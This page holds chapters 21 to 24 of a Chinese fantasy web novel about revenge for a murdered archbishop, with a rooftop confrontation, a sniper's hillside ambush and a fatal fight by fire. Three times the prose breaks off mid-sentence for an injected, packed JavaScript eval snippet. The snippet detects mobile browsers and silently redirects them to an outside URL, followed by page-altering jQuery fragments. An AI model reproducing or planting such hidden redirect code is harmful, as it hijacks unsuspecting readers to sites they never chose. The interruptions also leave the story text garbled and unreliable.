林曜昕笑着挠挠头，然后一脸痛苦地捂着肚子：“人有三急，你们先去，我搞完了就来。” “搞完……”唐玉嫌弃地挥挥手，“快去快回。” 林曜昕一边笑着道歉一边离开。 只是在转身的那一刻，林曜昕的神色一凛，不动声色地接过地上影子悄悄递来的□□，一只手抚上藏在右耳中的耳机：“收到，我去找伊恩。” 他快步沿着伊恩和影子假身走过的路线，穿过忙碌的人群，来到了那扇无窗的房前。 “主教大人，你在里面吗？” 林曜昕敲了几下门，里面无人回应，他的嘴角逐渐勾起一抹笑容。 “主教大人，我知道你在里面，你怎么了！快来人看看啊，伊恩主教好像被关在里面了！” 林曜昕说话越来越大声，来往的教士有的已经开始向里面张望。 “怎么了？”有人循声赶来。 “好像有人被反锁了！” 林曜昕从外表上看年纪尚小，表情恳切而着急，吸引了许多人的目光。 伊恩听到了动静，心下更加紧张害怕，直觉告诉他这是“影子”和桑格莉亚的诡计，想将他骗出这间安全屋，可是门外的人声越来越大，似乎更多的人汇聚在了门口…… “主教被困在里面了，要不我们破门进去救他吧！”林曜昕故意夸张喊道。 听到这话，伊恩深吸一口气，更加紧张。 下一秒，门板剧烈震动——伊恩想，真的有人打算破门了，他离开这里是迟早的事！ “吱呀”一声，伊恩阴沉着脸打开了门，低声斥责：“闹什么。” 他的表情是肉眼可见的愠怒，可是由于伊恩平时的性格温和亲切，教士们并没有过于害怕这位副主教，只是简单关心了他几句，便都去继续忙自己的事情了。 等人都散开后，伊恩看着眼前的少年，警惕而恐惧。 林曜昕不慌不忙地站定，微微俯身，贴在伊恩耳畔道：“您约的人在楼顶，主教，去和他聊聊吧。” 伊恩身形一僵，很显然，他的身份已经暴露，安戈和影子识破了他的计谋，然而他还没有想好下一步该怎么做。 林曜昕继续说道：“难道您能在这里躲一辈子吗？” 伊恩手中紧紧捏着光脑，戴丽到现在还没有来，他并不想去楼顶贸然送死，他即便是死，也要死得有价值。 伊恩停顿了很久，他并不想挪动一步。 林曜昕也不着急，就这样定定看着他。 就在这时，教堂内的地面剧烈晃动，伊恩的右侧身体不受控制地撞上了门框，疼痛让他紧咬牙关。走廊上行走的教士发出惊慌的叫声，他们中的一些人被推车的惯性带着摔倒，只能赶紧拉住镂空扶手，尖叫声此起彼伏，人们互相问着——“地震了吗？” 林曜昕像是早有预料，他的手撑住墙壁，继续说道：“如果您还不去赴约，‘影子’会继续这场地震，现在夕阳正好，教堂的影子也十分美丽……而且健壮，恐怕会把本体摧毁呢。” 这是在威胁他！用教堂里的人命威胁他！ 伊恩的右手握拳，泄愤般地捶向门板，顿时鲜血淋漓。 他的表情狰狞：“他真是个疯子！这么多人的性命，他用来要挟我？我答应了，我去楼顶！” 他的话音刚落，地震就骤然停止。人们惊魂未定。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240724|165578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>在所有人停在原地，不敢轻举妄动之时，伊恩忽然开始在走廊上飞奔，他一边全力奔跑，一边打开光脑：“戴丽，情况有变，换地点了。” 穿过人群和散乱的物品，伊恩三步并作两步跨上一层层台阶，径直冲向了教堂顶楼。 此时，血红色的夕阳洒满露台，他看见一个身材高大，穿着黑色运动装的男人站在夕阳之下，地面被拖出长长的阴影。男人嘴巴咧开的弧度很大，露出森白的牙齿，笑得瘆人，仿佛是来自地狱的死神。 伊恩怎么也没有想到，安戈在看到信件的那一刻，就酝酿出了一个计划，目的就是揪出幕后之人。他以为自己是捕蝉的螳螂，可安戈站得更高，飞得更远。 这一切还要从星期五的保健室说起。 安戈看着那封信，指尖有节奏地叩击着桌面，做出了自己的判断：“这个人，选择净化日这样一个时间……正好全镇人都集中在中心广场的时候，和我们见面，大概率是不想多生事端，引人注目，否则他早就去举报，让安保局或是赏金猎人来追捕我们了。” 这是一个相当合理的推测，“影子”席森赞同了她：“我也是这么想的。不过单独见我们……胆子算是够大，不知道他想聊什么。罢了，我就陪他聊聊。” 席森轻笑一声，露出森白的牙。 安戈心中清楚，席森绝不可能让人知道，他和“桑格莉亚”呆在一起，因为这证明了他对因特里赫德集团的背叛。在这种情境下，他们是一条绳上的蚂蚱，不管过去有什么过节，现在都得对付共同的敌人——他们两个有合作的基础。 “我们在明，他们在暗。”安戈皱起眉，继续理性分析，“直接去恐怕会有陷阱，况且也不知道他们有多少人。” “他行事偷偷摸摸，人数肯定不多，如果大张旗鼓，成群结队，就引人注意了。而且我也很感兴趣，他想做什么……”席森的语气笃定，还带着一点兴奋和好奇。 “那你的意思是？”安戈问。 “我的意思是，今晚我就去教会找一找这个人，先发制人。”席森露出捉弄人般的恶魔表情，仿佛完全不将此事放在心上。 “这也不错，与其被动踏入陷阱，不如主动出击。”安戈退了一步，肯定道，“打他措手不及。” “看来我们想得一样。”席森对于安戈赞同自己，显得相当满意。 “但你的方案不够稳妥。”安戈冷静说道，“我有别的主意。” “什么？” 安戈让席森俯下身，轻声在他耳边说了几句话。 “我不同意。”席森语气坚决，可商量的余地，“为了安全，你必须呆在这里。” “我能保护好自己。”安戈又一次说出了这句话，“而且我不出现，对方未必上钩。” “你用自己做钩子？”席森反问，语气嘲讽，“满月小姐，你不擅长近战搏斗，恐怕太过冒险。” “那么……我还有个有意思的主意。”安戈的声音变得轻柔，她知道席森的个性，古怪又新奇的点子最能吸引他的兴趣，“不仅能埋下陷阱，而且能让我十分安全。” 席森果然有了兴趣，眼神中透露出一股兴奋：“什么陷阱？” “利用你的影子，制造出一个和我一样的假身。” 席森若有所思地点头，他的大手轻轻一挥，地上的一团影子咕涌了起来，以扭曲怪异的方式凝聚成型，这个影子和安戈身形完全一致，模仿着安戈的动作，宛如镜像。 只是，它有着黑色的皮肤，怎么看都像是个怪物。 “然后呢？” “给它穿上我的衣服，把皮肤覆盖住，然后赋予她我的非凡能力。”安戈拿出两个透明软管，在席森眼前轻轻晃动，席森刚要去拿，安戈又收了回来，“我还没说完。最后……再给它戴上□□，这样就万无一失了。” “你要做什么？竟然舍得你的宝贝。” “我？我坐在一个风景好的地方，看一出好戏。” 22. 第22章 “没有易颜面具，你走到哪儿都会被人发现，学校、艾斯家里……也都不安全。”席森冷静指出。 “除非我去一个没人的地方。”安戈的声音坚定而冷静，“比如那里。” 她指向教堂附近的山峰：“那是个优秀的狙击点，只要将那人引到教堂顶楼平台，我就能在那里……” 安戈向着自己的太阳穴做出开枪手势：“你知道的，这是双保险，防止你那边出现意外。” “这种小事还需要双保险吗？”席森笑了一声，“这让我想起，从前我们合作过一次，也是这个思路，我近身作战，你远处狙击。” “我们不知道会发生什么。”安戈耸肩，“总要防备着意外情况，或许对面有多个帮手，或是‘影子’大人马失前蹄。” “不过最重要的还是，你也没有别处可去，顶着原本那张脸，你呆在家里或是学校都不安全。”席森的表情仿佛看透了安戈，“所以这个方法也行……当然，我会让林曜昕去帮助你，在必要时给你带去易颜面具。” 席森的声音中带着一丝不容置疑的决断，继续补充：“还有……记得保持线上的联系，我们会去保护你。” 没有面具的桑格莉亚跑不了多远，但安排林曜昕去看住她，对席森来说也是一份双重保险。 “当然。”安戈肯定回答，“我很惜命。” “呵，但愿如此。”席森依旧保持着他一贯的讽刺语气，但眼中却透露着认真，“我当然相信……‘满月’小姐。” “你什么意思？” “没什么。”席森淡淡地回应。 在血色夕阳的映衬下，安戈独自站立在山巅，背负着一把巨大的狙击枪。她的目光穿透了翠绿的山丘，目睹了一只黑色的巨手从黑暗中伸出。 那只手摇晃着建筑，仿佛在戏弄这座神圣的教堂。 信徒们的尖叫声和恐慌的脚步声此起彼伏，他们争先恐后地逃离教堂。安戈在耳机中愤怒地斥责：“席森！你做得太过分了！只需要引他到楼顶，你没必要这样！” 而在教堂的阳台上，席森正凝视着伊恩气喘吁吁地跑上来，他不耐烦地调低了耳机中的音量，又关闭了自己麦克风——显然，不愿再听到“满月”小姐的任何评论。 随后席森露出一个灿烂却让人不寒而栗的笑容：“伊恩副主教，听说你找我有事？” 伊恩再次面对“影子”的本体，感到口干舌燥，全身的血液似乎都在沸腾。他的心中充满了复仇的怒火：“没错，是我找你，‘影子’……会操纵影子的男人。” 席森，这位冷酷的青年，语气中透露出一丝讥讽：“我不记得有你这位旧识。” “你没见过我，但我见过你。”伊恩几乎是咬牙切齿地说，“当年，我虽看不真切你的脸，但清楚地记得你的非凡能力。” “那就说来听听。”席森做出一副洗耳恭听的姿态，“既然你这么大费周章，总得让你在临死前说出想说的话。” 伊恩的心中涌起一股无力感，他拼命压抑着声音中的愤恨：“十年前，在略迦菲尔德，你还记得发生了什么吗？” 席森微微一愣，声音变得缓慢：“十年前……略迦菲尔德，那真是发生了很多事情。”那是一场血腥的屠杀。 他们围剿了教会最出名的能力者——琳光大主教。为了获取他的非凡能力，集团做了精密的部署，伤亡也很惨重。 伊恩再也忍耐不住，他冲上前去，掏出一把匕首，笔直刺向席森的胸膛。席森没有多做抵抗，只是随手打掉了匕首，眼神复杂地看着歇斯底里的伊恩。 伊恩被这股霸道的蛮力打翻在地，他支撑起自己的上半身，恶狠狠地盯着席森：“他一生都是个好人！非常非常好的老师……琳光是我的人生导师！是天底下最好的主教！你们杀死他的时候，我躲在后面的灌木丛里，我亲眼看到他倒下，他还让我不要出声……” 那一幕反复在脑中浮现——琳光满脸鲜血地倒下，看着从灌木丛中露出的一双惊慌大眼，他轻轻将食指放在唇畔，做出了噤声的手势。 年幼的伊恩没有出声，幸存了下来。 “你躲在后面，在后面……”席森突然显得有些慌乱，他重复着这句话，似乎在寻找合适的措辞，“他是个好人，但……” “因为他是教会最珍贵的净化教士，唯一能接受神临的天才，你们觊觎他的能力！就要将他残忍地杀死，流干他的鲜血。”伊恩冷笑道，他扯住席森的衣服，“他这么好……为什么……” 面对伊恩的质问，席森的眼睛中闪过许多情绪，有愤怒、有痛苦、有悲悯，他握住伊恩扯住他衣服的手：“你一定要为他报仇是吗？所以要杀了我。” “当然。”伊恩咬牙切齿地回答，“你，还有桑格莉亚，都是我的复仇目标。即便她不是直接杀死琳光的凶手，也是幕后元凶，你们是为了她的罪恶研究，而害了琳光！” 席森闭上眼睛，叹了口气，他用自己修长的影子将掉落在地的匕首收回，然后稳稳当当地递给了伊恩：“再来一次，我们决斗。” 伊恩攥住匕首，站起身，他又一次尝试将匕首刺出，但席森如幽灵般出现在了他的身后，扼住伊恩的咽喉，然后将他甩了出去。伊恩摔落在冰冷的天台地面上，擦了擦嘴角的鲜血。 “最后一次。”席森的语气有些颤抖，又一次把匕首递给他，“再给你最后一次机会，不过在此之前，你解答我的疑惑。” “什么？” “你说记不清我的脸，只是记得非凡能力……可是拥有这份能力的人也不止是我，你是怎么确定我们两个的身份的？” 伊恩忽然笑了出来，他的脸上挂着鲜血，但笑得畅快：“杀手影子都不做背景调查吗，还是太过轻视我们这座小镇了？好吧……都到这地步了，就告诉你吧，我的能力就是‘真视之眼’，桑格莉亚在使用改造系统时，那些能力的变化，我看得一清二楚。” “能够使用改造系统，旁边还跟着一个会影子操控的杀手，怎么都会让我联想到你们两个。”伊恩道，“因此我才写了那封信。” “原来是这样。”席森的眼睛逐渐飘向远方，像是在看着什么。 “你是在看桑格莉亚吗。”伊恩的脸上挂着鲜血，但他发自内心地开心笑道，“我都知道哦，她在那座山头吧，那是最好的狙击点。你以为我为什么要在这儿拖延时间？” 伊恩的声音柔和，却让席森的脸色瞬间沉下来。 他急忙调大耳机音量，但只捕捉到断线的死寂。他愤怒地拎起伊恩，眼神中透露出阴森的威胁：“你做了什么？” “做了我必须做的。”伊恩坚定地回答，他的声音中没有一丝畏惧，“终结掉这个罪恶的研究。琳光的亲族，她会审判你们所有人。” 作为琳光的亲族，净化教士能够让改造系统失效，那么安戈将会陷入被动。 席森非常清楚这一点。 他的神色中闪过一丝慌乱，但很快就冷静了下来：“她不会被轻易打败。” 而且，林曜昕也会去帮助她。 “总要试试看。”伊恩无畏地直视席森，他的瞳孔中燃烧着决绝，“反正，我已不再奢求生还。” 在伊恩清澈的碧蓝色瞳孔中，席森看到了自己的倒影——一个愤怒而阴郁的男人，和伊恩的诚挚而热烈形成鲜明的对比。 他忽然想起多年前，刚刚加入因特里赫德集团的自己，那时的他，也像伊恩一样，愿意为了心中的信仰牺牲一切，包括自己的生命。 即便让自己的双手沾满鲜血，他也在所不惜。 十四年前。 此时的林曜昕年纪尚小，说话都有些口齿不清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246080|165578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，而他的哥哥林山从黑矿井中捞出了一个十多岁的男孩。由于长期的营养不良，男孩十分瘦小，不知道的人或许会以为他才六七岁。 “嘎嘎……”林曜昕哒哒哒地跑到门口，柔软的小手伸出去，试图触碰这个没见过的哥哥。 林山一手将林曜昕抱起，一手牵着男孩，他身材强壮，掌心粗粝却温暖：“这是我弟弟，才四岁，以后你就在这里和他一起生活。” 男孩点头，却不肯说话。 “你无需害怕，这里没人会把你关起来。我是MAA的队长，工作比较忙，有时候不能回家，不过我的队员有空就会来照看你们的。”大山坐在了沙发上，拍了拍身边的空位，示意席森坐下。 席森却坐在了旁边的椅子上，和他们隔开了一段距离，拘谨问道：“你们找到小哑巴了吗？” 大山微微一愣，微微笑着说：“那个跟你走散的小哑巴？已经找到了，我们也把他安置下来了。” 席森点头，声音很低：“谢谢……” “谢什么。”大山的声音粗犷，但是此刻却语气温柔，“有什么需要就跟我们说，别客气。” “嗯……”席森轻声说着，然后他的视线落在了眼睛黑亮澄澈的林曜昕身上，“你不在的时候，我会照顾他。” 大山的脸上也露出了爽朗的笑容：“你不必照顾他，MAA这么多人，轮流来也够了，等再过段时间，我们就把你送你学校里读书，让你过正常的生活。” 一切都很完美，被压迫的小男孩找到了自己的家，有了个如同父亲般的哥哥，和一个年幼的弟弟，再也不用过痛苦的生活。 可是平淡的日子并不长久，仅仅过去两年，这位大哥就再也没能回到家中，看一看他逐渐长大的两个弟弟。 席森没有看见他的尸首。 姜灿说他是死在了幽灵司令手下，连尸体也没能留下，因为他的血肉都被因特里赫德集团回收贮藏，他们想要大山的非凡能力——火焰操纵，后来，人们用他的血肉研发出了的第一个人造非凡能力。 那年，大山的队员们都认为席森和林曜昕年纪尚小，不应当被卷入这些事情当中，他们依旧轮流照顾二人，只是他们的眼神变了，似乎都在通过他们看另一个人。 席森也在通过他们看那个人。 于是不顾MAA所有人的反对，席森孤注一掷，用尽各种手段，进入了因特里赫德卧底潜伏，为MAA输送情报。 当时，他的年龄比现在的艾斯几人还要小，这些任务对于一个年幼的孩子来说相当危险，可他就如同眼下的伊恩般，抱着必死的决心，要付出一切代价让仇人血债血偿。 当然，他的双手也在这些年中沾满鲜血。 因特里赫德集团为了获得琳光大主教的“净化”能力，设计了那场在略加菲尔德的围剿。即便席森的内心挣扎不甘，即便这让他回忆起大山的死亡、年幼的林曜昕，即便他知道这位琳光大主教是个值得尊敬的好人，但他不得不参与其中。 他不能让自己多年来的隐忍和付出毁于一旦，让因特里赫德集团质疑他的忠心。 可是如今，伊恩站在席森的面前，找他复仇。 同样的，是为了因特里赫德集团手上的无辜生命；同样的，是为了给至亲之人报仇。 既讽刺，又悲凉。 他们的经历相似，选择和立场却不相同。 “我很欣赏你，副主教。”席森压下心中的复杂情绪，“我们是一类人，但走上了不同的路，这是你的不幸。你不了解这个世界的复杂性，也不明白我们的选择。” 伊恩冷冷回应：“我不需要明白，我只做我认为对的事情。” 席森他知道自己无法改变伊恩，就如同他无法改变自己的命运。两人之间的空气似乎凝固，只有夕阳的余晖在宣告时间的流逝。 23. 第23章 安戈在山巅架起了狙击枪，枪身在夕阳下闪烁着寒光。她听不到席森那边的声音，目光却能穿透瞄准镜，观察到楼顶的情形。 当她看见只有一位教士出现在楼顶时，心中微微放松，浑然不觉危险已悄然逼近。 突然，她的光脑弹出了一条消息——是杜朗！消息的震动打破了沉默，她的手指在狙击镜和光脑之间快速切换。 这位自称被抓的男士此前已经有几天没和她联络，此次一来就告诉了安戈一个重磅消息。 “我知道我所在的地方了。”杜朗的消息中透露着紧张，“我听他们说这里是伊比利奈岛，也是MAA的秘密实验基地，许多人都会在这里神秘失踪，都是被抓来做人体实验了。” 安戈看着这些消息，分析着杜朗的可信度。 席森告诉她，伊比利奈岛上有异教徒的活动，欧文大主教又提醒学校来参加这里的非凡能力竞赛，种种谜团笼罩了这座岛屿，使其成为了一个危险之地。 “你可一定要来救救我！桑格莉亚！我现在只能靠你了！”透过屏幕，安戈仿佛能看出杜朗的慌张无措。 狙击镜内，席森再次将匕首交给了伊恩，这位副主教虽然勇气可嘉，但显然不是“影子”席森的对手。安戈分心于光脑上的对话，并未对楼顶的局势投入太多关注。 “我知道了，但是既然那座岛屿相当危险，你必须再押上一些筹码。”安戈回道，“你还知道些什么，一五一十地都告诉我。” 杜朗的身上显然还有别的秘密，她需要得到更多情报。 “桑格莉亚！我没时间了！” 安戈没有理会，耐心等待了几秒，新的消息果然传来。 “好吧，如果你真想知道的话，那我就告诉你，关于那场海难的事情。” 安戈本以为杜朗会透露更多有关MAA或是“抢夺”能力的情报，没想到对方话题一转，竟然回到了她父母死亡的事情上。 “不是幽灵司令做的吗。”安戈回应得冷静，心跳却悄悄加快了，“你邮件发我的录音中，他亲口承认了这件事，我还用技术手段确认了录音的真实性。” 那句话依旧在安戈耳畔回荡，幽灵司令清清楚楚地说着：“桑格莉亚永远不会知道，那场海难就是我们策划的。” “没错，他是幕后主谋，但是直接下手的，你知道是谁吗？是一个跟你很熟悉的人！” 安戈的心跳更快了：“是谁？” “好好想想，还有谁是在你之后进入集团的！你是遇难者家属，因此集团主动来资助你；而那个人呢？他是自己找上门来的！他当时也只是一个孩子，凭什么让集团破格接纳？” 不祥的预感向安戈袭来。 “他一定是做了什么有诚意的事。”安戈的声音带着一丝颤抖。 安戈一直很困惑，为什么当年席森会突然加入因特里赫德集团，那么小的一个孩子，即便有着非凡能力，但尚未崭露头角，怎么会做出这样的选择？ “……你是说，‘影子’席森？”她几乎不可置信。 就在这时，一个冰凉的物体顶住了安戈的侧额，一个女人的声音带着兴奋响起：“终于见到你的真面目了，桑格莉亚。” 安戈的心脏猛地一跳，她的手本能地伸向了腰间的武器，但已经太迟。她感到了身后的呼吸，冷冽而危险。她知道，自己已经陷入了一个精心布置的陷阱之中。 此时的安戈，身着灰色休闲套装，脖子上悬挂着艾琳赠送的贝壳项链——这和“桑格莉亚”的惯用装扮相差甚远，可她脸上却没有易颜面具的遮挡，显露出碧绿的瞳孔和凌厉的五官。 这张脸为大众所熟知，敌人能快速确认她的身份。 “举起你的手。”女人威胁着加重了手上的力道，“别耍什么花招。” 安戈缓慢举起双手：“你是谁？” “哼。”女人冷笑一声，带着些轻蔑，平举着枪，走到安戈身前，对准她的额头，“好好看看，这张即将取你性命的脸。” 安戈看见，这个女人身着银色教袍，袖口衣角都绣着紫色花纹，立刻明白了她的身份，脸色刷地一下就白了。 “看来你认得我。”戴丽勾起唇角。 “不。”安戈回道，“我不认得。” “但你认得我的衣服，我是琳光的亲族。” “‘净化’能力者。”安戈说道。 在“净化”这一条路线中，C级、D级能力者只是拥有“衰弱”的效果，可以削弱非凡能力者的力量，只能在对战时起辅助效果，然而B级能力者却是改造系统的克星，可以让她的发明失效，而再往上的A级还能在一定范围内沉默天生能力者。 能坐到银袍教士这个位置，必然要有B级以上的实力，这足以让她的秘密武器失效。 眼前的人不好对付。 “你很想见到我？”安戈的脸上浮现出疑惑的表情。 “当然。”戴丽答得很快，语气中还有一丝稳操胜券的骄傲，“让伊恩猜对了，这真是意外之喜……没想到你的确在这里，还是一个人。只要杀掉你，我就能成为家族的骄傲。” 安戈看着戴丽的脸，这位女士的眼睛里闪烁着光芒，仿佛是看见了期待已久的猎物。安戈能看出，眼前的银袍教士把自己当成了待宰的羔羊——毕竟戴丽先发制人，还有着克制自己的能力。 “不，你会放过我。”安戈笃定道。 “为什么？” “因为……”安戈低声说道，“这样你能得到更多。” 戴丽微一愣神，还没来得及反应，安戈就迅速一手握住枪管，向内偏侧，另一只手握住戴丽的手腕。 “砰”地一声，戴丽叩响扳机，子弹出膛，但因为枪管的偏侧没有打中安戈。 枪响后，安戈握住枪管的手猝不及防向上掰去，另一只手仍然死死地箍住戴丽的手腕，戴丽手指吃痛，尖叫一声，瞬间卸了力，枪落到了安戈手中。 戴丽的反应也很快，她弯下腰，拼尽全力，不管不顾地向安戈腹部扑过去。 这是她的奋力一扑，安戈在这股力道下向后倒去，枪也落在了地上，两个人顺着山头的斜坡滚了好几圈。路上的山石粗粒，划破了安戈的右脸，右耳内所带的耳机也不知什么时候掉了下来。 她们狼狈不堪地停住，戴丽率先看见了枪的位置，扑过去就要抢，安戈拽住了她，对着她的脸就是一拳。 戴丽被打得嘴角渗出了鲜血，但她并不服输，随手抄起旁边的石块，单手砸向安戈的脑袋。 血液模糊住了安戈的双眼，她一时看不清，戴丽则是趁这个空当拿到了地上掉落的枪。 安戈听到声音，虽然眼前不甚清楚，仍然凭借感觉掏出了腰间的猎灵枪。 刚才她们的距离过近，只要她一有动作对方就会开枪，而现在两人拉开了空间，在这种情况下拼杀，安戈并不觉得自己会输。 “桑格莉亚，你知道吗，我们家族觉醒能力的人，所做的第一件事情就是东躲西藏。因为你的研究，有无数人找上门来，绑架、谋杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250684|165578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、取血……因特里赫德集团、黑市研究所、异教徒……人人都想要得到我们。” 安戈没有说话，但是微微变了脸色。 戴丽现在形容狼狈，仿佛在安戈面前展现，她的童年有多么艰难。 “为了能无止尽地取血研究，我的亲人被掳走，生不如死。”戴丽的眼睛中隐隐透着疯狂，“所以我们家族的人，从小就知道，如果有生之年能过见到你，就一定要取你狗命。” “我不是……”安戈想要辩解什么，可是她不知道说什么。 她的本意当然不是给人带来苦难，可是这样的事情因她发生了，因为人心的贪婪。 “你不是什么！”戴丽走进了两步，逼问道，“不是你动的手是吗？可这都是因为你！况且，琳光的死才造就了你的辉煌，得到了他的血，你才获得了成功。” 安戈的脸色惨白，她的研究确实是建立在琳光的生命之上。即便这不是她动的手，即便因特里赫德集团的残忍也是她无法容忍的，可这就能洗清她的罪孽吗？ 与此同时，她又想到了集团犯下其他的罪行，那些被杀的受害者，被迫参与人体实验的牺牲品，还有她失去的同事们。 在这一瞬间，安戈的手在颤抖，她动摇了。 就是这一瞬间的动摇，被戴丽看见了。 年轻的银袍教士看准时机，一枪击中安戈的大腿，安戈的腿一软，背靠身旁的树干，跌倒在地。 戴丽居高临下道：“直接了结也太便宜你了。” 逆着光，安戈看不清她的神情，但她隐约能看出，银袍教士拿出了一捆麻绳，然后在她身上绕了两圈，又在树干上绕了两圈，麻绳粗糙，紧紧勒在安戈的手腕和上臂处，让她不得动弹。 “你要做什么？”安戈问道。 戴丽的唇角勾起，她的眼睛中仿佛燃烧着火焰，而她的手上也的确燃烧起了火焰——她准备了打火石，并且在点然后丢向了安戈身侧的灌木丛。 “当然是，以宗教的方式审判你。” “审判我。”安戈低下头，喃喃道，“以什么罪名？” “背神者桑格莉亚，竟然妄想以己之力，代行神职，给神的仆从带来灾难。因此神降下这场山火为罚，平息他的愤怒。” 安戈迷茫地看着戴丽，她虔诚的样子让安戈疑惑不解：“是什么让你这么信仰他？” 安戈用“他”来代指戴丽所信仰的神明。 戴丽轻蔑一笑：“我们家族受神眷顾，世代荣光，作为最接近神的仆从，理应受到爱戴，而不是像现在这样，人人自危。” “那……如果我停止了实验，那些不受眷顾的普通人呢？”安戈又问，真心地发出疑问，“那些还在饥饿、战争、贫困中的人呢？” “人各有命，只怪他们，命途不济。”戴丽嘴唇一张一合，冷漠地宣告普通人的命运。 “命……吗？” 这一瞬间，戴丽的脸和从前见过的无数张脸重合——压榨穷人的欧文大主教，自命不凡的海威尔，傲慢无礼的贵族阶级……那些或是凭借先天天赋，或是凭借家族权势作恶多端、欺凌旁人的人，安戈的大脑忽然清醒。 她的家境平凡，当初没有展现出天赋，父母因此乘船寻求希望，从此阴阳两隔。 她的经历，还有她看到的那些普通人，都在告诉她，出生的那一刻仿佛是人生的分水岭。 安戈就是要打破这条分水岭。 她也有自己的使命，那条必须走到头的路，是她为自己安排的命途。 24. 第24章 烈焰融化了灌木，火光很快延展开来，在山林的风中摇曳。 烟雾弥漫在空气中，笼罩了安戈的口鼻，她咳嗽了两声。她低下头，身侧的草木已经燃烧，火星随着傍晚的微风四溅，在她的裤脚烫出几个小洞。她身后的树干也开始发烫，想必不久就能连她一起燃烧殆尽。 戴丽的双眸就这样看着安戈，平静却疯狂。 安戈低垂着头，沉默不语。在戴丽眼中，这应当就是放弃抵抗了。 然而安戈却忽然用力挣扎了起来。 “没有用的。”戴丽凉凉说道，“我绑得很紧，即便你挣脱了，我也会用子弹了结你。” 安戈抬起头，她的脸上有方才滚落山坡时摩擦出的血痕，还有一道道黑色灰烬，仿佛已经身处末路。 “那就要看看，谁的子弹更快了。” “什么？” 安戈的牙齿咬着脖颈处所戴的贝壳项链，项链和她的眼睛都闪烁着光亮——她仿佛被戴丽传染了般，碧绿的瞳孔也染上了一丝疯狂。 “你做什么？”戴丽警觉地就要抬起枪。 可是安戈的动作更快，她盯紧戴丽的要害，牙齿用力咬向项链，贝壳受力后自动弹开，那一瞬间，项链内的珍珠带着一根银针弹射而出，正中戴丽的咽喉。 戴丽本能地捂住自己的喉咙，可是很快，她的眼睛、鼻子、耳朵、指甲开始往外深处鲜血，她痛苦地嘶吼了一声，腿脚一软，栽倒在了火光中的草地上。 安戈蓦地笑了出来，她开始尝试着解开身上的绳子，可是火焰离她越来越近，越来越近。 火光逐渐冲天，黑色的烟雾冉冉升起，吸引了周围居民的注意，就连方才逃出教堂的信徒也发现了这边的异常，更不要说刚和伊恩分开，就往山头这边赶来的林曜昕。 远远地看着，他就觉得大事不妙——安医生那边应该是出了意外。 林曜昕站在半山腰上，回望了一眼教堂，忽然发现蜿蜒的山道上，几辆安保局的车正在向上驶去，犹豫了两秒，他又看向山头的火光，最终还是向山上走去。 ——哥哥不会出什么问题的，关键是安医生，而且他必须完成交给他的任务。 林曜昕沉着脸，做出判断。他虽然年纪尚小，可是过去的经历让他在大事上相当沉稳。 林曜昕一路向着火光最盛的地方行去，用自己的能力开辟出一条求生之路。 过了几分钟，他终于看见被绑在树上的安戈，火光已经快要将她吞噬，而她正在努力地用一颗石头想要磨开绑着她的麻绳。 林曜昕立刻上前，用手一挥，驱散安戈身旁的火焰：“安医生！” 安戈抬起头，看见了林曜昕，没说话，继续用石头磨着麻绳。 林曜昕赶忙绕道安戈的身后，发现绳子是死结，指尖燃起火苗，将绳子烧断，安戈重获自由。 随后林曜昕又看见，地上还倒着一个身着银袍的教士：“她是？” “净化教士。”安戈淡淡回应，“已经死了。” 林曜昕不放心，又上前去，将戴丽的尸体翻了过来。戴丽的脸惨不忍睹，被暗红色的血液从各处流出，眼睛睁着，仿佛不能瞑目。 看这模样，林曜昕又问：“是中毒？哪里来的毒？” 安戈没有回答，她走到一开始架起狙击枪的地方，她的身后是漫天火光，而她不紧不慢地看着瞄准镜。 林曜昕也小步跑上前，从同一位置看向教堂的天台——那两人仍旧在对峙，副主教伊恩在顽强挣扎着，而不知为何，席森始终都没有给他致命一击。 安戈在镜片中，看得更清晰，更全面。 她看到，教堂前，安保局的车上走下来了几个全副武装的探员，还看到欧文大主教顺着钟楼外的楼梯拼命地向上奔跑。欧文停在了三楼的外侧——因为从他的角度，抬头正好能看到伊恩浑身是伤的狼狈模样，还能看到黑衣男人的背影。 安戈听不到他们在说什么，也不清楚席森为什么如此大意，然而欧文的确成为了意外，只见他很快就叫来了几个教士，围在三楼楼梯平台上。他们偷偷摸摸地从后方上楼，似乎是要绕到席森的背后，介入这场危机。 而席森，毫无察觉。 “呵。”安戈的唇角流露出一丝嘲讽。 她又回想起杜朗刚才说的话——是席森直接策划的那场海难，是他用这件事情为筹码，换取到了进入因特里赫德集团的机会。 而只要一枪，她就可以了结这场宿怨，也可以重获自由，可是她的身份就有可能会暴露。 